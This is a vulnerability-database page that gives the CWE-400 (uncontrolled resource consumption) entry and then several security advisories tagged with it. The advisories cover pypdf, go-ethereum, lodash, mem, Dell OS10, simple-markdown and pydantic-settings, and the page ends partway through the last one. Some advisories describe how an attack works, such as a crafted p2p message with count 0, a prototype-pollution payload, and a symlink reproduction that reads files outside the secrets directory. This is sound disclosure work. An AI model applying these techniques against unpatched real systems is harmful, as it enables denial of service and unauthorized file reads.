Common Weakness Enumeration

CWE-400

Weakness Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

Dimensions

  • Behavior-Property: Uncontrolled
  • Behavior-Type: Consumption
  • Resource-Type: Resource
Mapping guidance

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.

Relationships and members
ChildOf: CWE-664 · View CWE-1000
Modes of introduction
Operation

The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

System Configuration

The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

Architecture and Design

The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.

Implementation

There are at least three distinct scenarios that can commonly lead to resource exhaustion:

Lack of throttling for the number of allocated resources.

Losing all references to a resource before reaching the shutdown stage.

Not closing/returning a resource after processing.

Resource exhaustion problems often occur due to an incorrect implementation of the following situations:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for releasing the resource.

Detection methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Content history
Submission: CLASP · 2006-07-19 · CWE Draft 3
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-01-24 · CWE 4.10

Suggested mappings to ISA/IEC 62443.

Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2025-02-25 · CWE 4.17

Provided diagram to improve CWE usability.

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Description

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Description

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Type

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Description, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Description, Maintenance_Notes

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

7207 vulnerabilities reference this CWE, most recent first.

GHSA-4XC4-762W-M6CG

Vulnerability from github – Published: 2026-01-09 19:48 – Updated: 2026-01-11 14:53
VLAI
Summary
pypdf has possible long runtimes for missing /Root object with large /Size values
Details

Impact

An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the /Root entry in the trailer, while using a rather large /Size value. Only the non-strict reading mode is affected.

Patches

This has been fixed in pypdf==6.6.0.

Workarounds

from pypdf import PdfReader, PdfWriter


# Instead of
reader = PdfReader("file.pdf")
# use the strict mode:
reader = PdfReader("file.pdf", strict=True)

# Instead of
writer = PdfWriter(clone_from="file.pdf")
# use an explicit strict reader:
writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True))

Resources

This issue has been fixed in #3594.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-09T19:48:22Z",
    "nvd_published_at": "2026-01-10T05:16:01Z",
    "severity": "LOW"
  },
  "details": "### Impact\nAn attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the `/Root` entry in the trailer, while using a rather large `/Size` value. Only the non-strict reading mode is affected.\n\n### Patches\nThis has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).\n\n### Workarounds\n\n```python\nfrom pypdf import PdfReader, PdfWriter\n\n\n# Instead of\nreader = PdfReader(\"file.pdf\")\n# use the strict mode:\nreader = PdfReader(\"file.pdf\", strict=True)\n\n# Instead of\nwriter = PdfWriter(clone_from=\"file.pdf\")\n# use an explicit strict reader:\nwriter = PdfWriter(clone_from=PdfReader(\"file.pdf\", strict=True))\n```\n\n### Resources\nThis issue has been fixed in #3594.",
  "id": "GHSA-4xc4-762w-m6cg",
  "modified": "2026-01-11T14:53:34Z",
  "published": "2026-01-09T19:48:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4xc4-762w-m6cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3594"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/commit/294165726b646bb7799be1cc787f593f2fdbcf45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf has possible long runtimes for missing /Root object with large /Size values"
}

GHSA-4XC9-8HMQ-J652

Vulnerability from github – Published: 2024-05-06 14:20 – Updated: 2024-08-16 18:15
VLAI
Summary
go-ethereum vulnerable to DoS via malicious p2p message
Details

Impact

A vulnerable node can be made to consume very large amounts of memory when handling specially crafted p2p messages sent from an attacker node.

In order to carry out the attack, the attacker establishes a peer connections to the victim, and sends a malicious GetBlockHeadersRequest message with a count of 0, using the ETH protocol.

In descendants := chain.GetHeadersFrom(num+count-1, count-1), the value of count-1 is passed to the function GetHeadersFrom(number, count uint64) as parameter count. Due to integer overflow, UINT64_MAX value is then passed as the count argument to function GetHeadersFrom(number, count uint64). This allows an attacker to bypass maxHeadersServe and request all headers from the latest block back to the genesis block.

Patches

The fix has been included in geth version 1.13.15 and onwards.

The vulnerability was patched in: https://github.com/ethereum/go-ethereum/pull/29534

Workarounds

No workarounds have been made public.

References

No more information is released at this time.

Credit

This issue was disclosed responsibly by DongHan Kim via the Ethereum bug bounty program. Thank you for your cooperation.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ethereum/go-ethereum"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-06T14:20:40Z",
    "nvd_published_at": "2024-05-06T15:15:23Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA vulnerable node can be made to consume very large amounts of memory when handling specially crafted p2p messages sent from an attacker node.\n\nIn order to carry out the attack, the attacker establishes a peer connections to the victim, and sends a malicious `GetBlockHeadersRequest` message with a `count` of  `0`, using the `ETH` protocol. \n\nIn `descendants := chain.GetHeadersFrom(num+count-1, count-1)`, the value of `count-1` is passed to the function `GetHeadersFrom(number, count uint64)` as parameter `count`. Due to integer overflow, `UINT64_MAX` value is then passed as the `count` argument to function `GetHeadersFrom(number, count uint64)`. This allows an attacker to bypass `maxHeadersServe` and request all headers from the latest block back to the genesis block. \n\n### Patches\n\nThe fix has been included in geth version `1.13.15` and onwards. \n\nThe vulnerability was patched in: https://github.com/ethereum/go-ethereum/pull/29534\n\n### Workarounds\n\nNo workarounds have been made public. \n\n### References\n\nNo more information is released at this time.\n\n### Credit\n\nThis issue was disclosed responsibly by DongHan Kim via the Ethereum bug bounty program. Thank you for your cooperation. ",
  "id": "GHSA-4xc9-8hmq-j652",
  "modified": "2024-08-16T18:15:47Z",
  "published": "2024-05-06T14:20:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethereum/go-ethereum/security/advisories/GHSA-4xc9-8hmq-j652"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32972"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4xc9-8hmq-j652"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethereum/go-ethereum"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethereum/go-ethereum/compare/v1.13.14...v1.13.15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-ethereum vulnerable to DoS via malicious p2p message"
}

GHSA-4XC9-XHRJ-V574

Vulnerability from github – Published: 2019-02-07 18:16 – Updated: 2025-08-12 21:36
VLAI
Summary
Prototype Pollution in lodash
Details

Versions of lodash before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.11 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "lodash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "lodash-rails"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.17.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-16487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T20:59:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution. \n\nThe vulnerable functions are \u0027defaultsDeep\u0027, \u0027merge\u0027, and \u0027mergeWith\u0027 which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.17.11 or later.",
  "id": "GHSA-4xc9-xhrj-v574",
  "modified": "2025-08-12T21:36:47Z",
  "published": "2019-02-07T18:16:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lodash/lodash/commit/90e6199a161b6445b01454517b40ef65ebecd2ad"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/380873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2018-16487.yml"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190919-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Prototype Pollution in lodash"
}

GHSA-4XCV-9JJX-GFJ3

Vulnerability from github – Published: 2019-07-05 21:07 – Updated: 2021-08-17 15:44
VLAI
Summary
Denial of Service in mem
Details

Versions of mem prior to 4.0.0 are vulnerable to Denial of Service (DoS). The package fails to remove old values from the cache even after a value passes its maxAge property. This may allow attackers to exhaust the system's memory if they are able to abuse the application logging.

Recommendation

Upgrade to version 4.0.0 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mem"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-07-03T20:52:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `mem` prior to 4.0.0 are vulnerable to Denial of Service (DoS).  The package fails to remove old values from the cache even after a value passes its `maxAge` property. This may allow attackers to exhaust the system\u0027s memory if they are able to abuse the application logging.\n\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later.",
  "id": "GHSA-4xcv-9jjx-gfj3",
  "modified": "2021-08-17T15:44:45Z",
  "published": "2019-07-05T21:07:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/mem/commit/da4e4398cb27b602de3bd55f746efa9b4a31702b"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1623744"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:mem:20180117"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1084"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in mem"
}

GHSA-4XF4-X6W8-3GWG

Vulnerability from github – Published: 2021-11-21 00:00 – Updated: 2022-10-27 19:00
VLAI
Details

Dell Networking OS10, versions 10.4.3.x, 10.5.0.x, 10.5.1.x & 10.5.2.x, contain an uncontrolled resource consumption flaw in its API service. A high-privileged API user may potentially exploit this vulnerability, leading to a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-36310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-20T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell Networking OS10, versions 10.4.3.x, 10.5.0.x, 10.5.1.x \u0026 10.5.2.x, contain an uncontrolled resource consumption flaw in its API service. A high-privileged API user may potentially exploit this vulnerability, leading to a denial of service.",
  "id": "GHSA-4xf4-x6w8-3gwg",
  "modified": "2022-10-27T19:00:29Z",
  "published": "2021-11-21T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36310"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000193076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XF9-PGVV-XX67

Vulnerability from github – Published: 2020-09-03 20:27 – Updated: 2026-02-03 17:52
Withdrawn 2026-02-03 VLAI
Summary
Duplicate Advisory: Regular Expression Denial of Service in simple-markdown
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.

Original Description

Versions of simple-markdown prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The SimpleMarkdown.defaultInlineParse() function has significantly degraded performance when parsing inline code blocks.

Recommendation

Upgrade to version 0.5.2 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:49:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-gpvj-gp8c-c7p2. This link is maintained to preserve external references.\n\n## Original Description\n\nVersions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.\n\n\n## Recommendation\n\nUpgrade to version 0.5.2 or later.",
  "id": "GHSA-4xf9-pgvv-xx67",
  "modified": "2026-02-03T17:52:55Z",
  "published": "2020-09-03T20:27:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Khan/simple-markdown/issues/71"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ariabuckles/simple-markdown/commit/89797fef9abb4cab2fb76a335968266a92588816"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Khan/simple-markdown"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-SIMPLEMARKDOWN-460540"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Regular Expression Denial of Service in simple-markdown",
  "withdrawn": "2026-02-03T17:52:55Z"
}

GHSA-4XGF-CPJX-PC3J

Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10
VLAI
Summary
pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size
Details

Summary

NestedSecretsSettingsSource reads secret values from files in a configured secrets_dir. When secrets_nested_subdir=True, a directory entry inside secrets_dir that is a symbolic link pointing outside secrets_dir is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented secrets_dir_max_size protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.

Details

NestedSecretsSettingsSource performed two passes over secrets_dir using two different, inconsistent directory-traversal implementations:

  • The size check in validate_secrets_path() used Path.glob('**/*'), which does not descend into a symbolically-linked directory.
  • The loader in load_secrets() used glob.iglob(f'{path}/**/*', recursive=True) followed by read_text(), which does follow symlinked directories and reads through the link target.

Because the two passes disagreed on symlinks, a symlinked directory inside secrets_dir whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:

  1. Out-of-tree read (CWE-22 / CWE-59). A symlinked directory (or file) inside secrets_dir that resolves outside it is followed, and the external file's contents are loaded into the corresponding settings field.
  2. secrets_dir_max_size bypass (CWE-400). The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which glob.iglob(recursive=True) re-traverses, inflating the size accounting and the number of loaded secrets.

Reproduction

In a clean Linux container, with a secrets_dir containing a symlink secrets/db -> /path/outside and an outside/passwd file of 512 bytes, while secrets_dir_max_size=100:

from pydantic import BaseModel
from pydantic_settings import (
    BaseSettings,
    SettingsConfigDict,
    NestedSecretsSettingsSource,
)


class Db(BaseModel):
    passwd: str | None = None


class Settings(BaseSettings):
    model_config = SettingsConfigDict(
        secrets_dir='secrets',
        secrets_nested_subdir=True,
        secrets_dir_max_size=100,  # outside/passwd is 512 bytes
    )
    db: Db = Db()

    @classmethod
    def settings_customise_sources(
        cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings
    ):
        return (NestedSecretsSettingsSource(file_secret_settings),)

On affected versions, Settings().db.passwd is populated with the 512-byte out-of-tree file and no SettingsError is raised, even though the file exceeds secrets_dir_max_size.

Impact

Applications that opt into NestedSecretsSettingsSource with secrets_nested_subdir=True and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:

  • Confidentiality: files outside the configured secrets_dir can be read into settings values (local file read).
  • Integrity / availability of the safeguard: the advertised secrets_dir_max_size cap can be bypassed, and cyclic symlinks can inflate resource usage during loading.

The vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use NestedSecretsSettingsSource, or that point secrets_dir at a directory fully under the application's control, are not affected.

Mitigation

Upgrade to pydantic-settings 2.14.2, which:

  • walks the secrets directory explicitly and only descends into directories whose resolved path stays within secrets_dir, so symlinked directories pointing outside are never followed;
  • uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;
  • skips any file whose resolved path escapes secrets_dir, as defense in depth.

If upgrading is not immediately possible, ensure the configured secrets_dir is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid secrets_nested_subdir=True.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-settings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-400",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`NestedSecretsSettingsSource` reads secret values from files in a configured `secrets_dir`. When `secrets_nested_subdir=True`, a directory entry inside `secrets_dir` that is a symbolic link pointing **outside** `secrets_dir` is followed, so files outside the configured directory are read into settings values. The same code path bypasses the documented `secrets_dir_max_size` protection. An attacker or lower-privileged component able to influence entries in the configured secrets directory (for example, a writable or shared secrets mount) can turn this into an unintended local file read into settings and can defeat the advertised loading-size cap. This report does not claim network reachability by itself.\n\n### Details\n\n`NestedSecretsSettingsSource` performed two passes over `secrets_dir` using two different, inconsistent directory-traversal implementations:\n\n* The size check in `validate_secrets_path()` used `Path.glob(\u0027**/*\u0027)`, which does **not** descend into a symbolically-linked directory.\n* The loader in `load_secrets()` used `glob.iglob(f\u0027{path}/**/*\u0027, recursive=True)` followed by `read_text()`, which **does** follow symlinked directories and reads through the link target.\n\nBecause the two passes disagreed on symlinks, a symlinked directory inside `secrets_dir` whose target lives elsewhere was invisible to the size accounting (counted as 0 bytes) while still being fully read by the loader. This produces two distinct problems:\n\n1. **Out-of-tree read (CWE-22 / CWE-59).** A symlinked directory (or file) inside `secrets_dir` that resolves outside it is followed, and the external file\u0027s contents are loaded into the corresponding settings field.\n2. **`secrets_dir_max_size` bypass (CWE-400).** The size check never sees the out-of-tree content, so the documented size cap is neither respected nor able to reject the oversized external file. A related amplification exists for cyclic in-tree symlinks, which `glob.iglob(recursive=True)` re-traverses, inflating the size accounting and the number of loaded secrets.\n\n#### Reproduction\n\nIn a clean Linux container, with a `secrets_dir` containing a symlink `secrets/db -\u003e /path/outside` and an `outside/passwd` file of 512 bytes, while `secrets_dir_max_size=100`:\n\n```python\nfrom pydantic import BaseModel\nfrom pydantic_settings import (\n    BaseSettings,\n    SettingsConfigDict,\n    NestedSecretsSettingsSource,\n)\n\n\nclass Db(BaseModel):\n    passwd: str | None = None\n\n\nclass Settings(BaseSettings):\n    model_config = SettingsConfigDict(\n        secrets_dir=\u0027secrets\u0027,\n        secrets_nested_subdir=True,\n        secrets_dir_max_size=100,  # outside/passwd is 512 bytes\n    )\n    db: Db = Db()\n\n    @classmethod\n    def settings_customise_sources(\n        cls, settings_cls, init_settings, env_settings, dotenv_settings, file_secret_settings\n    ):\n        return (NestedSecretsSettingsSource(file_secret_settings),)\n```\n\nOn affected versions, `Settings().db.passwd` is populated with the 512-byte out-of-tree file and **no** `SettingsError` is raised, even though the file exceeds `secrets_dir_max_size`.\n\n### Impact\n\nApplications that opt into `NestedSecretsSettingsSource` with `secrets_nested_subdir=True` and load secrets from a directory whose entries can be influenced by an attacker or a lower-privileged component (for example, a writable or shared secrets mount, or a secrets directory partially populated from untrusted input) are affected. The impact is:\n\n* **Confidentiality:** files outside the configured `secrets_dir` can be read into settings values (local file read).\n* **Integrity / availability of the safeguard:** the advertised `secrets_dir_max_size` cap can be bypassed, and cyclic symlinks can inflate resource usage during loading.\n\nThe vulnerability requires the ability to place a symbolic link inside the configured secrets directory; it is not remotely reachable on its own. Applications that do not use `NestedSecretsSettingsSource`, or that point 